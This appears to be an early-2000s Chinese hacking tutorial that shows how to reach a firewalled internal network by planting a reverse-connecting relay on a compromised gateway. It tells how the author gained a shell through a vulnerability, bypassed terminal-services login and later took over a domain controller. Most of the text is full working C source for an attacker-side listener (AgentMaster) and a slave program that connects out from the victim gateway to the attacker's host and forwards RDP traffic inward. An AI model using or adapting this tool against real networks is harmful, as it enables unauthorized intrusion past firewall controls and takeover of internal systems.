利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网
事实上很多内网没有上面所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器。
后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//伪装的target的监听端口
#define LocalPort 12345//等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接
sock[2]=;
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("
WSAStartup() failed:%d",GetLastError());
__leave;
}
//create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf("
socket() failed:%d",GetLastError());
__leave;
}
//create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf("
socket() failed:%d",GetLastError());
__leave;
}
//fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf("
bind() failed:%d",GetLastError());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf("
listen() failed:%d",GetLastError());
__leave;
}
//bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf("
bind() failed:%d",GetLastError());
__leave;
}
//listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf("
listen() failed:%d",GetLastError());
__leave;
}
//socket循环
while(1)
{
//wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf("
accept() failed:%d",GetLastError());
break;
}
printf("
Accept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port));
//wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("
accept() failed:%d",GetLastError());
break;
}
printf("
Accept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port));
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
连接到最终目标的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]=;
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("
WSAStartup() failed:%d",GetLastError());
__leave;
}
//循环
while(1)
{
//create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf("
socket() failed:%d",GetLastError());
__leave;
}
//create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("
socket() failed:%d",GetLastError());
__leave;
}
//fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
//connect to AgentMaster
if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)
{
//连接失败后,等待一会儿再连
printf("
connect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf("
connect to %s %d success!",AgentMasterIP,AgentMasterPort);
//connect to target
if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("
connect() to target failed:%d",GetLastError());
__leave;
}
printf("
connect to %s %d success!",TargetIP,TargetPort);
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
好了,至此就完了。